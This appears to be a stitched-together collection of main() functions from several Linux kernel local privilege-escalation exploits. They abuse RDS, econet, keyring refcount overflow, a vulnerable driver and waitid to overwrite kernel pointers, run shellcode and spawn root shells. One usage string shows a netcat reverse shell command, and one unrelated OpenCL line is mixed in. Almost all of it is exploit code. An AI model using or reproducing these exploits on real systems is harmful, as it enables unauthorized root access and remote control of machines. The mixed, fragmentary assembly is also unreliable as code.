int main(int argc, char * argv[]) { unsigned long sec_ops, def_ops, cap_ptrace, target; int sendsock, recvsock; struct utsname ver; printf("[*] Linux kernel >= 2.6.30 RDS socket exploit\n"); printf("[*] by Dan Rosenberg\n"); uname(&ver); if(strncmp(ver.release, "2.6.3", 5)) { printf("[*] Your kernel is not vulnerable.\n"); return -1; } /* Resolve addresses of relevant symbols */ printf("[*] Resolving kernel addresses...\n"); sec_ops = get_kernel_sym("security_ops"); def_ops = get_kernel_sym("default_security_ops"); cap_ptrace = get_kernel_sym("cap_ptrace_traceme"); commit_creds = (_commit_creds) get_kernel_sym("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred"); if(!sec_ops || !def_ops || !cap_ptrace || !commit_creds || !prepare_kernel_cred) { printf("[*] Failed to resolve kernel symbols.\n"); return -1; } /* Calculate target */ target = def_ops + sizeof(void *) + ((11 + sizeof(void *)) & ~(sizeof(void *) - 1)); sendsock = prep_sock(SENDPORT); recvsock = prep_sock(RECVPORT); /* Reset security ops */ printf("[*] Overwriting security ops...\n"); write_to_mem(sec_ops, def_ops, sendsock, recvsock); /* Overwrite ptrace_traceme security op fptr */ printf("[*] Overwriting function pointer...\n"); write_to_mem(target, (unsigned long)&getroot, sendsock, recvsock); /* Trigger the payload */ printf("[*] Triggering payload...\n"); ptrace(PTRACE_TRACEME, 1, NULL, NULL); /* Restore the ptrace_traceme security op */ printf("[*] Restoring function pointer...\n"); write_to_mem(target, cap_ptrace, sendsock, recvsock); if(getuid()) { printf("[*] Exploit failed to get root.\n"); return -1; } printf("[*] Got root!\n"); execl("/bin/sh", "sh", NULL); }
int main(int argc, char * argv[]) { unsigned long econet_ops, econet_ioctl, target, landing; int fildes[4], pid; void * newstack, * payload; pipe(fildes); fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0); fildes[3] = open("/dev/zero", O_RDONLY); if(fildes[0] < 0 || fildes[1] < 0 || fildes[2] < 0 || fildes[3] < 0) { printf("[*] Failed to open file descriptors.\n"); return -1; } econet_ioctl = get_kernel_sym("econet_ioctl"); econet_ops = get_kernel_sym("econet_ops"); commit_creds = (_commit_creds) get_kernel_sym("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred"); if(!econet_ioctl || !commit_creds || !prepare_kernel_cred || !econet_ops) { return -1; } if(!(newstack = malloc(65536))) { return -1; } target = econet_ops + 10 * sizeof(void *) - OFFSET; landing = econet_ioctl << SHIFT >> SHIFT; payload = mmap((void *)(landing & ~0xfff), 2 * 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); if ((long)payload == -1) { return -1; } memcpy((void *)landing, &trampoline, 1024); clone((int (*)(void *))trigger, (void *)((unsigned long)newstack + 65536), CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD, &fildes, NULL, NULL, target); sleep(1); ioctl(fildes[2], 0, NULL); if(getuid()) { printf("[*] P\n"); return -1; } printf("[*] F\n"); execl("/bin/sh", "/bin/sh", NULL); }
int main(int argc, char * argv[]) { unsigned long ops_table, vuln_function, target, landing; void *newstack; int econet = socket(PF_ECONET, SOCK_DGRAM, 0); if (econet < 0) { printf("[-] Failed to create econet socket.\n"); return -1; } // Resolve addresses of relevant symbols printf("[+] Resolving kernel addresses...\n"); // Although this exploit does not take advantage of prior econet holes, // we still choose to overwrite the econet functions, as they're obscure enough. vuln_function = get_kernel_sym("econet_ioctl"); ops_table = get_kernel_sym("econet_ops"); commit_creds = (_commit_creds)get_kernel_sym("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred"); if(!vuln_function || !commit_creds || !prepare_kernel_cred || !ops_table) { printf("[-] Failed to resolve kernel symbols.\n"); return -1; } printf("[+] Allocating new stack memory...\n"); if(!(newstack = malloc(65536))) { printf("[-] Failed to allocate memory.\n"); return -1; } printf("[+] Calculating target...\n"); target = ops_table + 10 * sizeof(void *) - OFFSET; // Clear the higher bits landing = vuln_function << SHIFT >> SHIFT; printf("[+] Mmaping memory...\n"); if (mmap((void *)(landing & ~0xfff), 2 * 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0) < 0) { printf("[-] Failed to mmap() at target address.\n"); return -1; } printf("[+] Copying trampoline...\n"); memcpy((void*)landing, &trampoline, 1024); printf("[+] Starting trigger thread clone...\n"); clone((int (*)(void*))trigger, (void*)((unsigned long)newstack + 65536), CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD, NULL, NULL, target); sleep(1); printf("[+] Triggering payload...\n"); ioctl(econet, 0, NULL); if (getuid()) { printf("[-] Exploit failed to get root.\n"); return -1; } printf("[+] Got root!\n"); execl("/bin/sh", "/bin/sh", NULL); }
int main(int argc, char **argv) { commit_creds = (commit_creds_fn)get_symbol("commit_creds"); prepare_kernel_cred = (prepare_kernel_cred_fn)get_symbol("prepare_kernel_cred"); __commit_creds = (commit_creds_fn)get_kernel_sym("commit_creds"); __prepare_kernel_cred = (prepare_kernel_cred_fn)get_kernel_sym("prepare_kernel_cred"); printf("[+] (get_symbol) commit_creads: %p\n", commit_creds); printf("[+] (get_symbol) prepare_kernel_cred: %p\n", prepare_kernel_cred); printf("[+] (get_kernel_sym) commit_creads: %p\n", __commit_creds); printf("[+] (get_kernel_sym) prepare_kernel_cred: %p\n", __prepare_kernel_cred); return 0; }
int main(int ac, char **av) { #define WINDOW 512 int rc = -1, i; unsigned char buf[WINDOW]; unsigned long addr; printf("lkmauth bypass go go\n"); addr = get_kernel_sym("lkmauth"); if(!addr) { printf("ERROR: get_kernel_sym(\"lkmauth\")\n"); goto cleanup; } printf("lkmauth resolved to: 0x%X\n", addr); if(kmem_read(addr, buf, WINDOW)) { printf("ERROR: kmem_read()\n"); goto cleanup; } printf("read %d (0x%X) bytes\n", WINDOW, WINDOW); printf("scanning for check\n"); for(i=0; i<(WINDOW-12); i += 4) { //lkmauth+0x17C: e5981144 ldr r1, [r8, #324] //lkmauth+0x180: e3510000 cmp r1, #0 ; 0x0 //lkmauth+0x184: 1a000002 bne lkmauth+0x194 <.text+0x34> <-- NOP if(!memcmp(buf + i, "\x44\x11\x98\xe5\x00\x00\x51\xe3", 8) && buf[i+11] == 0x1A) { printf("detected unpatched version at lkmauth+0x%X, patching...\n", i); kmem_write(addr + i + 8, "\x00\x00\x00\x00", 4); break; } if(!memcmp(buf + i, "\x44\x11\x98\xe5\x00\x00\x51\xe3\x00\x00\x00\x00", 12)) { printf("detected patched version at lkmauth+0x%X, unpatching...\n", i); kmem_write(addr + i + 8, "\x02\x00\x00\x1a", 4); break; } } if(i >= (WINDOW-12)) { printf("ERROR: never found patch location\n"); goto cleanup; } rc = 0; cleanup: return rc; }
int main(int argc, char * argv[]) { unsigned long econet_ops, econet_ioctl, target, landing; int fildes[4], pid; void * newstack, * payload; /* Create file descriptors now so there are two references to them after cloning...otherwise the child will never return because it deadlocks when trying to unlock various mutexes after OOPSing */ pipe(fildes); fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0); fildes[3] = open("/dev/zero", O_RDONLY); if(fildes[0]< 0 || fildes[1] < 0 || fildes[2] < 0 || fildes[3] < 0) { printf("[*] Failed to open file descriptors.\n"); return -1; } /* Resolve addresses of relevant symbols */ printf("[*] Resolving kernel addresses...\n"); econet_ioctl = get_kernel_sym("econet_ioctl"); econet_ops = get_kernel_sym("econet_ops"); commit_creds = (_commit_creds) get_kernel_sym("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred"); if(!econet_ioctl || !commit_creds || !prepare_kernel_cred || !econet_ops) { printf("[*] Failed to resolve kernel symbols.\n"); return -1; } if(!(newstack = malloc(65536))) { printf("[*] Failed to allocate memory.\n"); return -1; } printf("[*] Calculating target...\n"); target = econet_ops + 10 * sizeof(void *) - OFFSET; /* Clear the higher bits */ landing = econet_ioctl << SHIFT >> SHIFT; payload = mmap((void *)(landing & ~0xfff), 2 * 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); if ((long)payload == -1) { printf("[*] Failed to mmap() at target address.\n"); return -1; } memcpy((void *)landing, &trampoline, 1024); clone((int (*)(void *))trigger, (void *)((unsigned long)newstack + 65536), CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD, &fildes, NULL, NULL, target); sleep(1); printf("[*] Triggering payload...\n"); ioctl(fildes[2], 0, NULL); if(getuid()) { printf("[*] Exploit failed to get root.\n"); return -1; } printf("[*] Got root!\n"); execl("/bin/sh", "/bin/sh", NULL); }
int main(int argc, const char *argv[]) { const char *keyring_name; size_t i = 0; unsigned long int l = 0x100000000/2; key_serial_t serial = -1; pid_t pid = -1; struct key_type * my_key_type = NULL; struct { long mtype; char mtext[STRUCT_LEN]; } msg = {0x4141414141414141, {0}}; int msqid; if (argc != 2) { puts("usage: ./keys <key_name>"); return 1; } printf("[+] uid=%d, euid=%d\n", getuid(), geteuid()); commit_creds = (_commit_creds)get_kernel_sym("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred"); if(commit_creds == NULL || prepare_kernel_cred == NULL) { commit_creds = (_commit_creds)COMMIT_CREDS_ADDR; prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CREDS_ADDR; if(commit_creds == (_commit_creds)0xffffffff810bb050 || prepare_kernel_cred == (_prepare_kernel_cred)0xffffffff810bb370) puts("[-] You probably need to change the address of commit_creds and prepare_kernel_cred in source"); } my_key_type = malloc(sizeof(*my_key_type)); my_key_type->revoke = (void*)userspace_revoke; memset(msg.mtext, 'A', sizeof(msg.mtext)); // key->uid *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */ //key->perm *(int*)(&msg.mtext[64]) = 0x3f3f3f3f; //key->type *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type; if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) { perror("msgget"); exit(1); } keyring_name = argv[1]; /* Set the new session keyring before we start */ serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name); if (serial < 0) { perror("keyctl"); return -1; } if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) { perror("keyctl"); return -1; } puts("[+] Increfing..."); for (i = 1; i < 0xfffffffd; i++) { if (i == (0xffffffff - l)) { l = l/2; sleep(5); } if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) { perror("[-] keyctl"); return -1; } } sleep(5); /* here we are going to leak the last references to overflow */ for (i=0; i<5; ++i) { if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) { perror("[-] keyctl"); return -1; } } puts("[+] Finished increfing"); puts("[+] Forking..."); /* allocate msg struct in the kernel rewriting the freed keyring object */ for (i=0; i<64; i++) { pid = fork(); if (pid == -1) { perror("[-] fork"); return -1; } if (pid == 0) { sleep(2); if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) { perror("[-] msgget"); exit(1); } for (i = 0; i < 64; i++) { if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) { perror("[-] msgsnd"); exit(1); } } sleep(-1); exit(1); } } puts("[+] Finished forking"); sleep(5); /* call userspace_revoke from kernel */ puts("[+] Caling revoke..."); if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) { perror("[+] keyctl_revoke"); } printf("uid=%d, euid=%d\n", getuid(), geteuid()); execl("/bin/sh", "/bin/sh", NULL); return 0; }
int main(int argc,char ** argv) { char *payload; int payload_len; void *ptr = &file; payload_len = 256+9; payload = malloc(payload_len); if(!payload) { perror("malloc"); return -1; } memset(payload, 'A', payload_len); memcpy(payload + 256, &ptr, sizeof(ptr)); payload[payload_len]=0; int fd = open("/dev/vuln", O_RDWR); if(fd == -1) { perror("open"); return -1; } commit_creds = (_commit_creds)get_kernel_sym("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred"); int i; for(i = 0; i < 1000; i++) { if(socket(AF_INET, SOCK_STREAM, 0) == -1) { perror("socket fill "); return -1; } } write(fd, payload, payload_len); int target_fd ; target_fd = socket(AF_INET, SOCK_STREAM, 0); target_fd = socket(AF_INET, SOCK_STREAM, 0); file.f_op = &op; op.fsync = &getroot; fsync(target_fd); pid_t pid = fork(); if (pid == 0) { setsid(); while (1) { sleep(9999); } } printf("[+] rooting shell ...."); close(target_fd); if(win) { printf("OK\n[+] Droping root shell ... n"); execl("/system/bin/sh","/system/bin/sh",NULL); } else printf("FAIL n"); return 0; }
int main(int argc, char **argv) { char *payload; int offset; DIR *d; int fd; struct dirent *dir; short *shellcode; char dirname[101]; int i; const char homedir[] = "/home/pwner"; if (argc != 2) { printf("Usage: %s <command>\n\n", argv[0]); printf("Ex: %s 'nc 192.168.2.22 1337 -e /bin/sh'\n", argv[0]); printf(" Kernel will panic after the command is executed :-)\n"); return 1; } cmd = argv[1]; printf("[+] Resolving kernel addresses...\n"); commit_creds = (_commit_creds) get_kernel_sym("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred"); call_usermodehelper_setup = (_call_usermodehelper_setup) get_kernel_sym("call_usermodehelper_setup"); call_usermodehelper_exec = (_call_usermodehelper_exec) get_kernel_sym("call_usermodehelper_exec"); if(!commit_creds || !prepare_kernel_cred || !call_usermodehelper_exec || !call_usermodehelper_setup) { printf("[-] Failed to resolve kernel symbols.\n"); return -1; } /* Mmap payload */ printf("[+] mmap the payload...\n"); payload = mmap((void *) 0x61620000, 0x11000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); if ((long)payload == -1) { printf("[-] Failed to mmap() at target address.\n"); return -1; } memset(payload, 0, 0x11000); shellcode = (short*)(payload + 0x6364 + 0x1000); printf("[+] Writting jump shellcode @ %#x\n", shellcode); // lui $8, $8, 0x4344 -> "\x3c\x08\x41\x42" *shellcode++ = 0x3c08; *shellcode++ = (unsigned)(&getroot) >> 16; // ori $8, $8, 0x4344 -> "\x35\x08\x43\x44" *shellcode++ = 0x3508; *shellcode++ = (unsigned)(&getroot) & 0xffff; // addiu ra, $8, 0 -> "\x25\x1f\x00\x00" *shellcode++ = 0x251f; *shellcode++ = 0x0000; // jr ra -> "\x03\xe0\x00\x08" *shellcode++ = 0x03e0; *shellcode++ = 0x0008; printf("[+] Create directories...\n"); chdir(homedir); strcpy(dirname, "abc"); mkdir(dirname, 0777); chdir(dirname); strcpy(dirname, "abcd"); for (i = sizeof(homedir) + 4; i < 560; i += 5) { mkdir(dirname, 0777); chdir(dirname); } printf("[+] Hide /home...\n"); if ((fd = open("/dev/rootkit", O_RDWR)) == -1) { printf("[-] Cannot open /dev/rooktit\n"); } write(fd, "+/home", sizeof("+/home")); close(fd); printf("[+] Trigger stack buffer overflow ...\n"); d = opendir("."); dir = readdir(d); /* Will never get there... */ if (getuid()) { printf("[-] Exploit failed to get root.\n"); return -1; } printf("[+] Got root!\n"); execl("/bin/sh", "sh", NULL);; return 0; }
const char* BasketGeometricOpenCLOption::kernel_symbol() { return get_kernel_sym(Basket_Geometric, None); }
int main(int ac, char **av) { if (ac != 2) { printf("./exploit kernel_offset\n"); printf("exemple = 0xffffffff81f3f45a"); return EXIT_FAILURE; } // 2 - Appel de la fonction get_kernel_sym pour rcuperer dans le /proc/kallsyms les adresses des fonctions prepare_kernel_cred = (prepare_kernel_cred_t)get_kernel_sym("prepare_kernel_cred"); commit_creds = (commit_creds_t)get_kernel_sym("commit_creds"); // have_canfork_callback offset <= rendre dynamique aussi pid_t pid; /* siginfo_t info; */ // 1 - Mapper la mmoire l'adresse 0x0000000000000000 printf("[+] Try to allocat 0x00000000...\n"); if (mmap(0, 4096, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANON|MAP_PRIVATE|MAP_FIXED, -1, 0) == (char *)-1){ printf("[-] Failed to allocat 0x00000000\n"); return -1; } printf("[+] Allocation success !\n"); /* memset(0, 0xcc, 4096); */ /* movq rax, 0xffffffff81f3f45a movq [rax], 0 mov rax, 0x4242424242424242 call rax xor rax, rax ret replace 0x4242424242424242 by get_root https://defuse.ca/online-x86-assembler.htm#disassembly */ unsigned char shellcode[] = { 0x48, 0xC7, 0xC0, 0x5A, 0xF4, 0xF3, 0x81, 0x48, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0xFF, 0xD0, 0x48, 0x31, 0xC0, 0xC3 }; void **get_root_offset = rawmemchr(shellcode, 0x42); (*get_root_offset) = get_root; memcpy(0, shellcode, sizeof(shellcode)); /* strcpy(0, "\x48\x31\xC0\xC3"); // xor rax, rax; ret */ if(-1 == (pid = fork())) { perror("fork()"); return EXIT_FAILURE; } if(pid == 0) { _exit(0xDEADBEEF); perror("son"); return EXIT_FAILURE; } siginfo_t *ptr = (siginfo_t*)strtoul(av[1], (char**)0, 0); waitid(P_PID, pid, ptr, WEXITED | WSTOPPED | WCONTINUED); // TRIGGER pid = fork(); printf("fork_ret = %d\n", pid); if (pid > 0) get_shell(); return EXIT_SUCCESS; }